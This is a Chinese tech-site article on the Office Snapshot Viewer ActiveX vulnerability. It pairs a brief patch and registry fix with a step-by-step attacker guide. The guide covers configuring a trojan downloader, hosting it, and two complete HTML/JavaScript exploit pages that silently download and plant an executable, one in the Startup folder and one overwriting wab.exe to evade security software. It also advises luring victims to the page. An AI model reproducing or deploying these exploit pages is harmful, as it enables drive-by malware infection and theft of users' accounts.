欢迎您访问我爱IT技术网，今天小编为你分享的编程技术是：【堵住电脑中的Access漏洞 拒绝恶意网站】，下面是详细的分享！
堵住电脑中的Access漏洞 拒绝恶意网站
Access漏洞威胁的潜在人群十分巨大。目前已经有不少利用该漏洞的恶意网站了，一旦用户访问这些页面就会被植入木马下载器，这些木马下载器成功进入用户系统并执行后，就会下载其他的恶意程序木马，试图盗取用户的QQ、网游等账号，危险不言而喻。
本次Access漏洞除Office2007版本外，在以前的版本中广泛存在。由于用户在安装Office的时候很多都是选择的默认安装，附带也安装了Access，所以漏洞威胁的用户群数量非常的巨大。
HTTP GET功能导致漏洞出现
本次的Access漏洞的全名称为“Microsoft Office Snapshot Viewer ActiveX Exploit 漏洞”，是一个ActiveX控件漏洞。该漏洞存在于snapview.ocx控件中，出现的原因是因为该控件具有HTTP GET功能，这个功能可以从指定的网址下载指定的文件。
黑客要利用该漏洞，先要特制一个恶意网站引诱用户访问。当用户打开该网页的时候，恶意网址就赋给了HTTP GET功能，该功能被激活后就偷偷从恶意网址下载病毒，这样病毒就可以神不知鬼不觉地进入用户的系统中，威胁用户的各种账号和密码。受这个漏洞影响的Access版本有2003、2002、2000。
Access漏洞解决方案
方案1：现在已经有了该漏洞的补丁了，请大家赶快到http://www.shudoo.com/bzsoft下载。此外，我们还可以在“工具→Internet选项→安全”中，选择“Internet”图标，然后将下面的安全级别中设置为“高”(图3)，这样可以有效地阻止网页木马入侵。
图3
方案2 ：将以下内容复制在记事本中，另存为1.reg，然后双击导入注册表也可以堵上漏洞。
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D50-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D60-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F2175210-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 |
目前黑客利用Access漏洞的主要方式
方式1：写入启动项
先申请一个免费的Web空间，用Mini downloader by SEC配置网页木马，在“URL”处输入网页木马地址，再点击“Creat”，又再弹出窗口中将文件保存为test.exe，这样就网页木马就配置好了。
接着将test.exe上传到先前申请的免费空间里面，病毒地址就是：http://(这里是申请的空间地址)/test.exe 。将以下漏洞的利用代码复制粘贴到新建的记事本里，另存为test.html。
<html> <object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9′ id='obj'></object> <script language='javascript'> var buf1=‘http://（这里是申请的空间地址）/test.exe'; var buf2=‘C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe'; obj.SnapshotPath=buf1; obj.CompressedPath=buf2; </script> </html> |
最后将test.html上传到空间里，得到病毒的访问地址：http://(这里是空间地址)/test.html。做到这步，剩下的工作就是传播网址引诱用户访问了。当用户访问该网页时就会中招，用户的电脑会在启动项里出现test.exe文件。
点评：这种方式有个缺点，就是有些安全软件会提示有程序写入启动项。
方式2：不写入启动项
将以下代码复制到新建的记事本中，另存为test.html上传到空间即可。当用户访问该网页时也会中招，不过启动项里没有test.exe文件，用户无法察觉自己中毒了。
<html> <body> <script type="text/javascript"> function killErrors() { return true; } window.onerror=killErrors; var x; var obj; var mycars=new Array(); mycars[0]="C:/Program Files/Outlook Express/wab.exe"; mycars[1]="d:/Program Files/Outlook Express/wab.exe"; var objlcx=new ActiveXObject("snpvw.Snapshot Viewer Control.1"); if(objlcx="[object]") { setTimeout('window.location="[url=ldap://"]ldap://"',3000[/url]); for (x in mycars) { obj=new ActiveXObject("snpvw.Snapshot Viewer Control.1") var buf1='http://（这里是申请的空间地址）/test.exe'; var buf2=mycars[x]; obj.Zoom=0; obj.ShowNavigationButtons=false; obj.AllowContextMenu=false; obj.SnapshotPath=buf1; try { obj.CompressedPath=buf2; obj.PrintSnapshot(); }catch(e){} } } </script> </body> </html> |
点评：这种方式无需写入启动项，这样安全软件就不会有任何提示了，在用户访问恶意页面的时候直接中马，使用户中马的概率更高。
以上所分享的是关于堵住电脑中的Access漏洞 拒绝恶意网站，下面是编辑为你推荐的有价值的用户互动：
相关问题：为什么我的电脑玩使用360安全卫士中的修复漏洞总显...
答：这样的情况你可以使用下360急救箱，下载，解压后，进入安全模式运行360系统急救箱自定义全盘扫描，查杀一遍，查杀完成后重启电脑。 然后再打开360系统急救箱，选择修复功能（修复选项可全选），立即修复，如果还是不能解决问题，那就重装系统吧... >>详细
相关问题：360电脑体验中显示KB2862152 DirectAccess 安全功...
答：你好朋友这样的情况个人建议用360系统急救箱修复一下，然后再用360安全卫士修复漏洞就可以解决。 >>详细
相关问题：为什么电脑老是出漏洞？
答：补丁埃大哥 >>详细
- 评论列表（网友评论仅供网友表达个人看法，并不表明本站同意其观点或证实其描述）
-